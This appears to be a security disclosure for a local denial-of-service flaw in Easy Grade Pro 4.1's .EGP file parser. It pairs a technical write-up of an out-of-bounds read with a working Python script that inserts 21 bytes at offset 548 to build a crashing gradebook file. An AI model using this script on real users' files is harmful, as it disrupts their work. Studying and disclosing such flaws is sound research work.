#!/usr/bin/env python3

"""
================================================================================

Title:
------
Easy Grade Pro 4.1 - Malformed .EGP File Parsing Denial of Service


Discovered by:
--------------
Alejandro Vazquez Vazquez


Affected Software:
------------------
Product Name : Easy Grade Pro
Version      : 4.1.0.2
File Format  : Proprietary .EGP (Gradebook file)
Vendor       : Orbis Software Ltd.
Status       : End-of-Life (EOL)


Vendor Information:
-------------------
Name         : Orbis Software Ltd.
Website      : http://www.orbissoft.com
Contact      : support@orbissoft.com
Product Line : Educational software (gradebook management)
Status       : Vendor inactive / Product discontinued


Test Environment:
-----------------
OS           : Windows 11
Debugger     : IDA Pro
Executable   : C:\Program Files\Orbis Software\Easy Grade Pro\Egp.exe
Architecture : 32-bit application
Context      : Local file opening (user interaction required)


--------------------------------------------------------------------------------
Vulnerability Summary:
--------------------------------------------------------------------------------

Easy Grade Pro contains a file parsing vulnerability in the processing of its proprietary .EGP gradebook files. By modifying specific fields at precise offsets inside an otherwise valid gradebook file, an attacker can trigger an out-of-bounds memory read, leading to an unhandled access violation and application crash. This issue results in a local Denial of Service (DoS) condition when a specially crafted .EGP file is opened.


--------------------------------------------------------------------------------
Technical Details:
--------------------------------------------------------------------------------

The .EGP file format is parsed using an offset-based approach rather than a stream-based or delimiter-based parser. Internal gradebook structures are reconstructed from fixed-position fields inside the file, producing offset_start and offset_end values that describe where specific data segments are expected to reside within the loaded file buffer.

These reconstructed offsets are later used to compute buffer sizes and drive memory copy operations.

The vulnerable logic can be summarized as:

size   = offset_end - offset_start + 1
buffer = calloc(1, size)
memcpy(buffer, file_buffer[offset_start - base_offset], size)

Critically, once the gradebook passes initial structural validation, the parser trusts offset values reconstructed from the file's internal structures. These offsets are not validated against the actual size of the loaded file buffer before being used in memcpy() operations.

Under specific conditions, the reconstructed offsets remain internally coherent from the parser's point of view, yet reference memory locations outside the bounds of the allocated file buffer. This results in an out-of-bounds read during memcpy(), causing an access violation.


--------------------------------------------------------------------------------
Why Only Specific Lengths Trigger the Crash:
--------------------------------------------------------------------------------

Only specific malformed inputs reach the vulnerable code path. Certain malformed field lengths are rejected early by consistency checks, resulting in a controlled error message (e.g. "Gradebook is damaged"). Other specific lengths bypass these checks and reach deeper parsing routines where offset values are trusted. This explains why small differences in field length can determine whether the application reports corruption or crashes outright.


--------------------------------------------------------------------------------
Crash Details:
--------------------------------------------------------------------------------

When opening the malformed .EGP file generated by this Proof of Concept under a debugger, the following exception is observed:

568F3A: The instruction at 0x568F3A referenced memory at 0xXXXXXXXX. The memory could not be read. Exception Code: 0xC0000005 (Access Violation)

During debugging, the invalid memory address dereferenced by memcpy() is observed to be stored in the ESI register. This register is populated using offset-based calculations derived from parsed gradebook structures. When these offsets point outside the valid file buffer, ESI references an unmapped memory region, causing the crash.


--------------------------------------------------------------------------------
Code Path to the Vulnerability:
--------------------------------------------------------------------------------

The crash occurs inside a loop processing gradebook structures, eventually executing an unsafe memcpy() operation based on reconstructed offsets.

The vulnerable code sequence can be located in the binary by searching for the following byte pattern:

0F 84 E8 FE FF FF 8B 46 0C 8B 4E 08 8B F8 2B F9 83 C7 01 66 83 3E 01 C7 46 10 00 00 00 00

This sequence leads to a function that performs offset-based memory copying without validating that the source pointer lies within the bounds of the loaded file buffer.


--------------------------------------------------------------------------------
Proof of Concept Description:
--------------------------------------------------------------------------------

This Proof of Concept demonstrates the vulnerability by:

1. Taking a valid, empty gradebook (.EGP) file generated by Easy Grade Pro.
2. Reading the file in binary form.
3. Inserting 21 bytes (0x41 / 'A') at offset 548.
4. Writing the modified data to a new .EGP file.

The resulting file remains structurally valid enough to pass initial checks, but corrupts internal offset calculations used later during parsing, ultimately crashing the application.


--------------------------------------------------------------------------------
CWE Classification:
--------------------------------------------------------------------------------

CWE-125: Out-of-bounds Read


--------------------------------------------------------------------------------
Impact:
--------------------------------------------------------------------------------

- Local Denial of Service
- No code execution demonstrated
- User interaction required (opening the crafted file)


--------------------------------------------------------------------------------
Mitigations:
--------------------------------------------------------------------------------

- Avoid opening untrusted .EGP files.
- Enforce strict bounds checking on all offsets reconstructed from file data.
- Validate that computed offsets and sizes remain within the loaded file buffer.
- Add defensive handling for parsing errors and memory access exceptions.


--------------------------------------------------------------------------------
Notes:
--------------------------------------------------------------------------------

This vulnerability affects an end-of-life product with no official vendor support. Disclosure is performed for transparency, documentation, and research purposes.

================================================================================
"""

# python EasyGradePro_DoS.py NewGradebookEmpty.egp Crash.egp

import sys

OFFSET = 548
PAYLOAD_SIZE = 21
PAYLOAD_BYTE = b"\x41"

def main():
	if len(sys.argv) != 3:
		print(f"Usage: {sys.argv[0]} <input.egp> <output.egp>")
		sys.exit(1)

	input_file = sys.argv[1]
	output_file = sys.argv[2]

	with open(input_file, "rb") as f:
		data = bytearray(f.read())

	if OFFSET > len(data):
		print("[!] Offset is beyond end of file")
		sys.exit(1)

	payload = PAYLOAD_BYTE * PAYLOAD_SIZE

	modified = data[:OFFSET] + payload + data[OFFSET:]

	with open(output_file, "wb") as f:
		f.write(modified)

	print(f"[+] PoC file generated: {output_file}")
	print(f"[+] Injected {PAYLOAD_SIZE} bytes at offset {OFFSET} (0x{OFFSET:X})")

if __name__ == "__main__":
	main()
